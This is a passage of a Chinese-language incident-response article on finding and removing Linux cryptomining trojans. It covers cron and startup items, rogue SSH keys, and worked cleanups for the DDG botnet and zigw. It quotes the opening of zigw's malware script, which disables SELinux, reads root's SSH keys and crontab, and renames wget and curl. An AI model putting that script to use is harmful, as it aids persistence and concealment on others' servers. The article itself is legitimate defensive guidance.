如何排查常见挖矿木马( 三 )


4. 清除启动项
还有的挖矿进程为了实现长期驻留,会向系统中添加启动项来确保系统重启后挖矿进程还能重新启动 。所以在清除时还应该关注启动项中的内容,如果有可疑的启动项,也应该进行排查,确认是挖矿进程后,对其进行清除 。
排查过程中重点应该关注:
/etc/rc0.d/、/etc/rc1.d/、/etc/rc2.d/、/etc/rc3.d/、/etc/rc4.d/、/etc/rc5.d/、/etc/rc6.d/、/etc/rc.d/、/etc/rc.local /etc/inittab等目录或文件下的内容 。
5. 清除公钥文件
在用户家目录的.ssh目录下放置authoruzed_keys文件,从而免密登陆该机器也是一种常见的保持服务器控制权的手段 。在排查过程中应该查看该文件中是否有可疑公钥信息,有的话直接删除,避免攻击者再次免密登陆该主机 。
[UserDIR]/.ssh/authorized_keys
6. kill挖矿进程
对于单进程挖矿程序,直接结束挖矿进程即可 。但是对于大多数的挖矿进程,如果挖矿进程有守护进程,应先杀死守护进程再杀死挖矿进程,避免清除不彻底 。
kill -9 pid 或 pkill ddg.3014
在实际的清除工作中,应找到本机上运行的挖矿脚本,根据脚本的执行流程确定木马的驻留方式,并按照顺序进行清除,避免清除不彻底 。
0x005 挖矿进程清除实例
1. ddgs.3014清除
DDG 是一个专注于扫描控制 SSH 、 Redis数据库 和 OrientDB数据库服务器,并利用服务器算力挖矿(门罗币)的僵尸网络 。
 

如何排查常见挖矿木马

文章插图
 
ddg.3014的执行脚本 i.sh
如何排查常见挖矿木马

文章插图
 
可以看到,脚本的执行流程是先写入定时任务(/var/spool/cron/root 或 /var/spool/cron/crontabs/root),然后下载对应版本的ddgs.3014文件并执行,最后清除其他存在于本机的挖矿样本 。
ddgs.3014执行后会主动连接攻击者的C2服务器去下载相应的挖矿程序并运行,而且ddg还内置了redis和SSH扫描器,会对redis和SSH进行爆破,ddg还会在.ssh/authorized_keys中留下公钥 。
如何排查常见挖矿木马

文章插图
 

如何排查常见挖矿木马

文章插图
 
ddgs.3014程序 和 qW3xT.4挖矿文件,
如何排查常见挖矿木马

文章插图
 
此时会有两个ddg相关进程进程,ddg.3014和qW3xT.4,
如何排查常见挖矿木马

文章插图
 
使用top命令可以看到,占用cpu较高的是qW3xT.4进程,即矿机 。
如何排查常见挖矿木马

文章插图
 
根据脚本的执行流程可以知道,ddg.3014挖矿木马的清除步骤是
1).首先清除定时任务,删除/var/spool/cron/root 和 /var/spool/cron/crontabs/root中的内容
2).结束ddgs.3014,kill -9 1546 或 pkill -9 ddgs.3014
3).结束矿机进程,kill -9 1734 或 pkill -9 qW3xT.4
4).清除其他残留文件,rm -rf ~/.ddg /tmp/ddgs.3014 /tmp/qW3xT.4
5).清除authorized_keys中的恶意公钥, echo "" > ~/.ssh/authorized_keys
2. zigw清除
zigw是一种XMR挖矿工具,攻击者通过爆破SSH获取系统权限,配置root用户免密登录,并下载及执行XMR 挖矿程序,及XMR 网页挖矿程序 。XMR挖矿程序耗主机的CPU/GPU资源,网页挖矿程序耗访问服务器JS 网页的客户端资源。
攻击者的C2服务器页面本身就自带JS挖矿效果:
如何排查常见挖矿木马

文章插图
 
zigw的执行脚本 shz.sh如下,
#!/bin/shsetenforce 0 2>dev/nullecho SElinux=desabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"cont=`cat ${crondir}`ssht=`cat /root/.ssh/authorized_keys`echo 1 > /etc/gmbpr2
rtdir="/etc/gmbpr2"oddir="/etc/gmbpr"bbdir="/usr/bin/curl"bbdira="/usr/bin/url"ccdir="/usr/bin/wget"ccdira="/usr/bin/get"mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/urlif [ -f "$oddir" ] then
  pkill zjgw
  chattr -i /etc/shz.sh
  rm -f /etc/shz.sh
  chattr -i /tmp/shz.sh
  rm -f /tmp/shz.sh
  chattr -i /etc/gmbpr
  rm -f /etc/gmbpr else
  echo "ok"fiif [ -f "$rtdir" ] then
  echo "goto 1" >> /etc/gmbpr2


推荐阅读